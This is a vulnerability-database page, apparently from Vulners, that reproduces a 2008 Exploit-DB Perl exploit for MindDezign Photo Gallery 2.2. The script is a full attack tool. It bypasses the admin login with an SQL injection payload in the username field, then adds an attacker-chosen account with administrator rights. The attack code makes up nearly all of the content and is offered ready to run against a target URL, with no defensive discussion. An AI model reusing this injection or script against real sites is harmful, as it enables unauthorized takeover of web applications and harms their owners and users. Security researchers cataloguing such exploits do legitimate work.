Lucene search
K

MindDezign Photo Gallery 2.2 - Arbitrary Add Admin

🗓️ 23 Oct 2008 00:00:00Reported by CWH UndergroundType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

MindDezign Photo Gallery 2.2 Arbitrary Add Admin exploit by CWH Underground discovered in October 2008. It exploits a vulnerability in MindDezign Photo Gallery version 2.2 to add a user to administrator's privilege

Code
#!/usr/bin/perl
#=============================================================
# MindDezign Photo 2.2 Gallery Arbitrary Add Admin Exploit
#=============================================================
#  ,--^----------,--------,-----,-------^--,
#  | |||||||||   `--------'     |          O	.. CWH Underground ..
#  `+---------------------------^----------|
#    `\_,-------, _________________________|
#      / XXXXXX /`|     /
#     / XXXXXX /  `\   /
#    / XXXXXX /\______(
#   / XXXXXX /           
#  / XXXXXX /
# (________(             
#  `------'
#
#AUTHOR : CWH Underground
#DATE   : 23 October 2008
#SITE   : cwh.citec.us
#
#
#####################################################
#APPLICATION : MindDezign Photo Gallery
#VERSION	 : 2.2
#DOWNLOAD    : http://gallery.minddezign.com/?module=download
#####################################################
#
#Note: magic_quotes_gpc = off
#
#This Exploit will Add user to Administrator's Privilege.
#
#######################################################################################
#Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
#Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################

use LWP;
use HTTP::Request;
use HTTP::Cookies;

print "\n==================================================\n";
print "    MindDezign Photo Arbitrary Add Admin Exploit \n";
print " \n";
print "         Discovered By CWH Underground \n";
print "==================================================\n";
print "                                              \n";
print "  ,--^----------,--------,-----,-------^--,   \n";
print "  | |||||||||   `--------'     |          O	\n";
print "  `+---------------------------^----------|   \n";
print "    `\_,-------, _________________________|   \n";
print "      / XXXXXX /`|     /                      \n";
print "     / XXXXXX /  `\   /                       \n";
print "    / XXXXXX /\______(                        \n";
print "   / XXXXXX /                                 \n";
print "  / XXXXXX /   .. CWH Underground ..  \n";
print " (________(                                   \n";
print "  `------'                                    \n";
print "                                              \n";

if ($#ARGV + 1 != 3)
{
   print "Usage: ./xpl.pl <Target URL> <user> <pass>\n";
   print "Ex. ./xpl.pl http://www.target.com/gallery/ cwhuser cwhpass\n";
   exit();
}

$blogurl = $ARGV[0];
$user = $ARGV[1];
$pass = $ARGV[2];

$loginurl = $blogurl."?module=admin&action=login&task=login";
$adduserurl = $blogurl."?module=admin&action=account&task=edit";
$post_content = "username=".$user."&password=".$pass."&confirm_pass=".$pass."&btn_submit=Submit";


print "\n..::Login Page URL::..\n";
print "$loginurl\n";
print "\n..::Add User Page URL::..\n";
print "$adduserurl\n\n";
print "..::Login Process::..\n";

$ua = LWP::UserAgent->new;
$ua->cookie_jar(HTTP::Cookies->new);
$request = HTTP::Request->new (POST => $loginurl);
$request->header (Accept-Charset => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7');
$request->content_type ('application/x-www-form-urlencoded');
$request->content ('username=admin\'+or+\'a\'=\'&password=a&btn_submit=Submit'); 
$response = $ua->request($request);
$location = $response -> header('Location');

print "\n[+]Result :: ";

if ($location =~ /gallery_item_list/)
{
   print "Login Success!!!\n";
}
else
{
   print "Login Failed!!!\n";
   exit();
}

print "\n..::Add Admin Exploit::..\n";
$request = HTTP::Request->new (POST => $adduserurl);
$request->content_type ('application/x-www-form-urlencoded');
$request->content ($post_content);
$response = $ua->request($request);

   print "\n[+]Result\n";
   print "Username :: ".$user."\n";
   print "Password :: ".$pass."\n";
   print "Role     :: Administrator\n";
   print "\nEnjoy with Bugs ;)"

# milw0rm.com [2008-10-23]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Oct 2008 00:00Current
7.4High risk
Vulners AI Score7.4
40